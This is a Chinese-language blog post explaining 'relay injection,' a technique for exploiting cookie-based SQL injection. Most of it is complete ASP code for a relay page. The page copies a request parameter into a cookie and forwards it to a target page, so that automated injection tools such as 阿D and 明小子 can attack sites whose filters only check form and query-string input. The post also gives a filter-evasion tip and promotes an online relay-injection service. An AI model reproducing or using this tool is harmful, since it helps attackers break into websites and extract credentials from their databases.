中转注入原理

呵呵,又来骗流量了。说起来真的是孤陋寡闻了,我听说中转注入这个方法大概是在几个月前,但这位寂寞的刺猬大侠好象在07年或者更早就弄出了这东西。刚听说中转注入的时候觉得很好奇,以为又出什么新招了,看了代码才知道原来所谓的中转注入其实就是传说当中的cookie注入。但cookie注入很烦琐,而且基本上只能用手工,所以我觉得这个中转注入的想法真的很巧妙,巧妙地把原来无法放阿D或者明小子上注的cookie中转到了url上面。

既然骗了人来这里看我写的这个无聊的文章,那我也稍微负点责好了,简单的说下原理。其实了解cookie注入的同学应该都明白的。

我不知道大家遇到cookie注入的时候是怎么注的,反正我是用的明小子里面带的浏览器,那个有个修改cookie的功能。然后再结合一下站长工具里面的一个escape加密工具就可以注入了。要是能直接暴出用户密码当然最好,要是暴不出真的就是一件非常烦琐的事情了。

比如有这么一个cookie注入点

http://www.zeroplace.cn/article.asp?id=448

那么你可以试试在cookie里面输入id=447看看是否返回同样的页面,如果返回不一样的页面那说明在服务器上采用的是request("id")这种获取参数的方式,这样就让我们有了机会进行cookie注入。如果对方的防注入代码只过滤了form 和querystring方式的参数,那就真正是一个cookie注入了。

那中转注入就是通过把参数传递给本地的一个asp页面,这个asp页面设置cookie并请求目标页面,从而简化了cookie。

下面献上中转注入代码一段,可进行细微的修改灵活运用。

<%
JmdcwName=request("jmdcw")
' 注入中转站 COOKIE 版,BY 寂寞的刺猬 [L.S.T]
JmdcwName=escape(JmdcwName)
JmStr="Name=123&ID="&JmdcwName
JMUrl="http://127.0.0.1/目录/注入页.asp"
JmRef="http://127.0.0.1/6kbbs/bank.asp"
JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
JmCok=JmCok & ";" & Jmstr &";"
JmCok=URLEncoding(JmCok)
JmStr="jmdcw=00"
response.write    PostData(JMUrl,JmStr,JmCok,JmRef)

Function PostData(PostUrl,PostStr,PostCok,PostRef)  
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http

.Open "POST",PostUrl,False
.SetRequestHeader "Content-Length",Len(PostStr)
.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
.SetRequestHeader "Referer",PostRef
.SetRequestHeader "Cookie",PostCok
.Send PostStr
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function

Function bytes2BSTR(vIn)
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function

Function URLEncoding(vstrin)
strReturn=""
Dim i
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
End if
Next
strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
strReturn=Replace(strReturn,chr(43),"%2B")    'JMDCW增加转换+字符
'strReturn=Replace(strReturn,过滤字符,"转换为字符")    '在此增加要过滤的代码
URLEncoding=strReturn
End Function

%>

另外,本站有一个在线中转注入功能,欢迎大家交流使用。

http://www.zeroplace.cn/ct



文章来自: 本站原创
Tags:
评论: 0 | 查看次数: 17185